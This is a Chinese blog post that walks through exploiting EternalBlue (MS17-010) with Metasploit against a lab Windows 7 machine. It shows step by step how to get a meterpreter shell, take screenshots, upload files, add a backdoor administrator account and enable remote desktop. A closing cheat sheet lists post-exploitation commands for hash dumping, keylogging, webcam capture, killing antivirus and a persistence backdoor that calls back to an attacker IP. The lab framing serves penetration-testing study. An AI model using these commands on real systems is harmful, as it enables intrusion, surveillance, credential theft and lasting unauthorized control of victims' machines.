记录一次永恒之蓝(ms17-010)漏洞攻击 【后附msf常用命令】

漏洞简要

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
微软已于2017 年 发布MS17-010补丁,修复了“永恒之蓝”攻击的系统漏洞,一定要及时更新Windows系统补丁。

环境准备

kali linux、具有永恒之蓝漏洞的win7、win10。
环境均在VM中进行,且在同一网段。

攻击准备

  1. 在kali中打开msf工具:msfconsole
    在这里插入图片描述

  2. 查找有关永恒之蓝的漏洞:search ms17-010
    在这里插入图片描述
    这里可能需要解释一下msf中的六大模块:

  • auxiliary
    负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块。
  • exploits
    利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
  • payloads
    成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。
    single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
    stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
    stages:利用stagers建立的连接下载后续payload
  • encoders
    对payload进行加密,躲避AntiVirus检查的模块
  • nops
    提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。
  • post
    后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作
  1. 收集目标机器的有关信息并配置:use 0(use后面可以跟编号,也可以跟name)
    show options
    在这里插入图片描述
    可以看到靶机ip并未配置,打开win7,找到其地址:
    在这里插入图片描述
    kali ip:
    在这里插入图片描述
    并确定两主机可以相互ping通。
    在这里插入图片描述
    在这里插入图片描述
    配置靶机ip:
    set rhosts 192.168.159.128 #大小写都可以
    在这里插入图片描述
    查看配置后的结果:
    在这里插入图片描述
    可见配置成功。
    进行漏洞扫描:在这里插入图片描述
    可见靶机具有漏洞。

  2. 利用exploit模块:use 0
    在这里插入图片描述
    与上个模块一样,先进行有关配置。
    在这里插入图片描述
    配置靶机ip并查看:
    在这里插入图片描述
    配置成功!

开始攻击

  1. 紧接上步,开始攻击:run
    在这里插入图片描述
    出现meterpreter > 说明攻击成功。
    Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。
  2. 利用help命令可以查看功能列表:(这里仅截取部分功能)
    在这里插入图片描述
    其中有upload,说明可以上传“一些文件”。
    也有shell功能:
    在这里插入图片描述
    可以看到是有管理员权限的,这就意味着可以创建用户并提权。

部分攻击结果展示

  1. 查看当前权限:getuid
    在这里插入图片描述
    最高权限

  2. 获取屏幕截图:screenshot
    在这里插入图片描述
    在这里插入图片描述

  3. 上传文件
    在这里插入图片描述
    去主机中查看:
    在这里插入图片描述
    上传成功!
    有意思的是linux中的文件路径是/,而windows中的是\。

  4. 创建新用户
    进入shell,先查看已有用户:net user
    在这里插入图片描述
    创建用户:net user xiaoming 123 /add
    在这里插入图片描述
    创建成功!
    查看其所在组:
    在这里插入图片描述
    所在user组。
    进行提权(将其放在管理员组下):net localgroup administrators xiaoming /add
    在这里插入图片描述
    提权成功!

  5. 打开远程桌面:run getgui -e
    先确认win7设置:
    在这里插入图片描述
    利用win10远程桌面连接尝试(两者可以相互ping通):
    在这里插入图片描述
    在这里插入图片描述
    失败。
    打开其远程桌面权限。
    在这里插入图片描述
    在这里插入图片描述
    发现靶机选项已经改变了。
    利用win10再次尝试:
    在这里插入图片描述
    成功!
    可以利用刚创建的用户进行登录:
    在这里插入图片描述
    成功!

部分msf命令

  1. 基本命令
    help # 查看Meterpreter帮助
    background# 返回,把meterpreter后台挂起
    bgkill# 杀死一个背景 meterpreter 脚本
    bglist#提供所有正在运行的后台脚本的列表
    bgrun#作为一个后台线程运行脚本
    channel#显示活动频道
    sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
    sesssions -k number #与会话进行交互
    close# 关闭通道
    exit# 终止 meterpreter 会话
    quit# 终止 meterpreter 会话
    interact id #切换进一个信道
    run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject
    irb# 进入 Ruby 脚本模式
    read# 从通道读取数据
    write# 将数据写入到一个通道
    runbgrun# 前台和后台执行以后它选定的 meterpreter 脚本
    use# 加载 meterpreter 的扩展
    load/use#加载模块
    Resource#执行一个已有的rc脚本

  2. 文件常用命令
    getwd 或者pwd # 查看当前工作目录
    ls #
    cd
    mkdir lltest2 #只能在当前目录下创建文件夹
    rmdir lltest2 #只能删除当前目录下文件夹
    getlwd 或者 lpwd #操作攻击者主机 查看当前目录
    lcd /tmp #操作攻击者主机 切换目录
    cat c:\lltest\lltestpasswd.txt # 查看文件内容
    upload /tmp/hack.txt C:\lltest # 上传文件到目标机上
    download c:\lltest\lltestpasswd.txt /tmp/ # 下载文件到本机上
    edit c:\1.txt #编辑或创建文件 没有的话,会新建文件

  3. 系统命令
    getsystem #会自动利用各种各样的系统漏洞来进行权限提升
    migrate #进程id进程迁移
    background #把当前的会话设置为背景,需要的时候在启用
    getuid #查看对方正在运行的用户
    ps #列出所有的进程
    getpid #返回运行meterpreter的id号
    sysinfo #产看系统信息和体系结构
    shell #切换到cmd的系统权限方式
    exit #退出shell会话返回meterpreter或终止meterpreter
    getdesktop 截取目标主机当前桌面会话窗口
    run webcam -p /var/www #在/var/www目录监控目标主机的摄像头
    keylog_recorder #使用migrate将会话迁移至explorer.exe的进程空间后记录键盘

  4. 远程桌面&截屏
    run getgui -e #开启远程桌面
    run getgui -u user1 -p 123 #添加用户
    run getgui -f 4444 –e #3389端口转发到6661
    enumdesktops #查看可用的桌面
    getdesktop #获取当前meterpreter 关联的桌面
    set_desktop #设置meterpreter关联的桌面 -h查看帮助
    screenshot #截屏
    use espia #或者使用espia模块截屏 然后输入screengrab
    run vnc #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了

  5. 键盘记录
    keyscan_start #开始键盘记录
    keyscan_dump #导出记录数据
    keyscan_stop #结束键盘记录

  6. 关闭杀毒软件
    run killav //可能导致目标机器蓝屏死机

  7. 后门植入
    run persistence –h #查看帮助
    run persistence -X -i 5 -p 4444 -r 192.168.1.159
    #-X指定启动的方式为开机自启动;-i反向连接的时间间隔;–r 指定攻击者的ip

  • 8
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值